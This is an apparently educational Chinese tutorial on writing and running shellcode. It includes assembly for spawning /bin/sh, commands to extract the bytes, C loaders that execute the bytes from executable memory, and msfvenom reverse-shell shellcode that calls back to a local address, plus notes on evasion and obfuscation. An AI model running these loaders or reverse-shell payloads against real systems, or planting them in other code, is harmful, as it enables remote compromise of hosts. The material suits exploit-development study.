shellcode初探索记录
字数 1290 2025-08-24 07:48:34

Shellcode 初探与实战指南

1. Shellcode 基础概念

1.1 什么是 Shellcode

Shellcode 本质上是一段机器码,通常由汇编代码编译而成,用于执行特定的系统操作。它得名于最初用于获取 shell 的代码,但现在泛指任何用于利用漏洞的机器码。

1.2 Shellcode 与机器码的关系

  • 机器码(Machine Code): CPU 直接执行的二进制指令
  • 字节码(Byte Code): 虚拟机执行的中间代码
  • Shellcode: 特定功能的机器码片段,通常用于漏洞利用

2. 编写简单的 Shellcode

2.1 汇编编写 execve("/bin/sh")

64位汇编示例:

section .data
    bin_sh db '/bin/bash', 0x00  ; 字符串 "/bin/bash"

section .text
global _start

_start:
    ; 调用 execve("/bin/bash", ["/bin/bash"], NULL)
    xor rax, rax     ; 清除 rax
    mov rdi, bin_sh  ; rdi 指向 "/bin/bash"
    push rax         ; 在栈上压入 NULL (argv)
    mov rsi, rsp     ; rsi 指向 argv 数组
    push rax         ; 在栈上压入 NULL (envp)
    mov rdx, rsp     ; rdx 指向 envp 数组
    mov al, 59       ; syscall 59 是execve
    syscall          ; 触发系统调用

32位汇编示例:

section .text
global _start

_start:
    xor eax, eax     ; 清空 eax 寄存器
    push eax         ; 压入 0 (NULL)
    push 0x68732f6e  ; 压入 "/sh"
    push 0x69622f2f  ; 压入 "//bin"
    mov ebx, esp     ; ebx 指向栈中的 "/bin/sh"
    push eax         ; 压入 NULL 作为 argv 的结束
    mov edx, esp     ; edx 指向 NULL (envp)
    push ebx         ; 压入 "/bin/sh"
    mov ecx, esp     ; ecx 指向 "/bin/sh" (argv)
    mov al, 0xb      ; 系统调用号 11 (execve)
    int 0x80         ; 发起系统调用

2.2 编译汇编代码

64位编译:

nasm -f elf64 execve_shell.asm -o execve_shell.o
ld execve_shell.o -o execve_shell

32位编译:

nasm -f elf32 execve_shell.asm -o execve_shell.o
ld -m elf_i386 execve_shell.o -o execve_shell

2.3 提取机器码

使用 objdump 提取机器码:

objdump -d ./execve_shell | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'

32位示例输出:

"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

3. 在 C 程序中执行 Shellcode

3.1 基础方法(可能失败)

#include <stdio.h>
#include <string.h>

unsigned char code[] = 
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main() {
    printf("Shellcode Length: %d\n", strlen(code));
    void (*shellcode_func)() = (void(*)())code;
    shellcode_func();
}

问题:这种方法可能会因为内存权限问题导致段错误(Segmentation Fault),因为默认情况下存储 shellcode 的 .rodata 段可能没有执行权限。

3.2 正确方法:使用 mmap 分配可执行内存

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

unsigned char shellcode[] = 
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main() {
    // 使用 mmap 分配可执行内存
    void *exec = mmap(0, sizeof(shellcode), 
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_ANON | MAP_PRIVATE, -1, 0);
    
    if(exec == MAP_FAILED) {
        perror("mmap failed");
        return 1;
    }
    
    // 复制 Shellcode 到分配的内存
    memcpy(exec, shellcode, sizeof(shellcode));
    
    // 调用 Shellcode
    ((void(*)())exec)();
    
    return 0;
}

编译32位版本:

gcc -m32 -o shellcode filename.c

3.3 关键点解析

  1. mmap 参数:

    • PROT_READ | PROT_WRITE | PROT_EXEC: 设置内存为可读、可写、可执行
    • MAP_ANON: 匿名映射,不关联文件
    • MAP_PRIVATE: 私有映射,修改不写回文件
  2. 函数指针转换:

    ((void(*)())exec)();
    

    将分配的内存地址转换为函数指针并执行

4. 使用 msfvenom 生成 Shellcode

4.1 生成反弹 Shell 的 Shellcode

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

unsigned char shellcode[] = 
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x23\x29\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    void *exec = mmap(0, sizeof(shellcode), 
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_ANON | MAP_PRIVATE, -1, 0);
    
    if(exec == MAP_FAILED) {
        perror("mmap failed");
        return 1;
    }
    
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();
    
    return 0;
}

5. 关键知识点总结

  1. 内存权限问题:

    • 默认情况下,数据段(.rodata)没有执行权限
    • 必须使用 mmap 或 mprotect 设置可执行权限
  2. 架构兼容性:

    • 32位和64位汇编不同
    • 编译时需要指定正确的架构参数(-m32)
  3. Shellcode 编写技巧:

    • 避免空字节(\x00),可能被字符串函数截断
    • 使用相对地址而非绝对地址
    • 尽量减小体积
  4. 调试技巧:

    • 使用 gdb 调试 shellcode 执行
    • 检查内存权限(/proc/[pid]/maps)
    • 使用 strace 跟踪系统调用

6. 进阶方向

  1. 编码与混淆:

    • 使用 XOR 或其他简单加密方式编码 shellcode
    • 添加 NOP sled 提高命中率
  2. 规避检测:

    • 分段加载 shellcode
    • 动态生成 shellcode
  3. 高级利用技术:

    • Return-Oriented Programming (ROP)
    • Jump-Oriented Programming (JOP)
  4. 跨平台 Shellcode:

    • Windows Shellcode 编写
    • 跨架构 Shellcode 设计

通过本指南,您应该已经掌握了 Shellcode 的基本原理、编写方法和执行技术。请记住,这些知识仅应用于合法的安全研究和防御目的。

Shellcode 初探与实战指南 1. Shellcode 基础概念 1.1 什么是 Shellcode Shellcode 本质上是 一段机器码 ,通常由汇编代码编译而成,用于执行特定的系统操作。它得名于最初用于获取 shell 的代码,但现在泛指任何用于利用漏洞的机器码。 1.2 Shellcode 与机器码的关系 机器码(Machine Code) : CPU 直接执行的二进制指令 字节码(Byte Code) : 虚拟机执行的中间代码 Shellcode : 特定功能的机器码片段,通常用于漏洞利用 2. 编写简单的 Shellcode 2.1 汇编编写 execve("/bin/sh") 64位汇编示例: 32位汇编示例: 2.2 编译汇编代码 64位编译: 32位编译: 2.3 提取机器码 使用 objdump 提取机器码: 32位示例输出: 3. 在 C 程序中执行 Shellcode 3.1 基础方法(可能失败) 问题 :这种方法可能会因为内存权限问题导致段错误(Segmentation Fault),因为默认情况下存储 shellcode 的 .rodata 段可能没有执行权限。 3.2 正确方法:使用 mmap 分配可执行内存 编译32位版本: 3.3 关键点解析 mmap 参数 : PROT_READ | PROT_WRITE | PROT_EXEC : 设置内存为可读、可写、可执行 MAP_ANON : 匿名映射,不关联文件 MAP_PRIVATE : 私有映射,修改不写回文件 函数指针转换 : 将分配的内存地址转换为函数指针并执行 4. 使用 msfvenom 生成 Shellcode 4.1 生成反弹 Shell 的 Shellcode 5. 关键知识点总结 内存权限问题 : 默认情况下,数据段(.rodata)没有执行权限 必须使用 mmap 或 mprotect 设置可执行权限 架构兼容性 : 32位和64位汇编不同 编译时需要指定正确的架构参数(-m32) Shellcode 编写技巧 : 避免空字节(\x00),可能被字符串函数截断 使用相对地址而非绝对地址 尽量减小体积 调试技巧 : 使用 gdb 调试 shellcode 执行 检查内存权限(/proc/[ pid ]/maps) 使用 strace 跟踪系统调用 6. 进阶方向 编码与混淆 : 使用 XOR 或其他简单加密方式编码 shellcode 添加 NOP sled 提高命中率 规避检测 : 分段加载 shellcode 动态生成 shellcode 高级利用技术 : Return-Oriented Programming (ROP) Jump-Oriented Programming (JOP) 跨平台 Shellcode : Windows Shellcode 编写 跨架构 Shellcode 设计 通过本指南,您应该已经掌握了 Shellcode 的基本原理、编写方法和执行技术。请记住,这些知识仅应用于合法的安全研究和防御目的。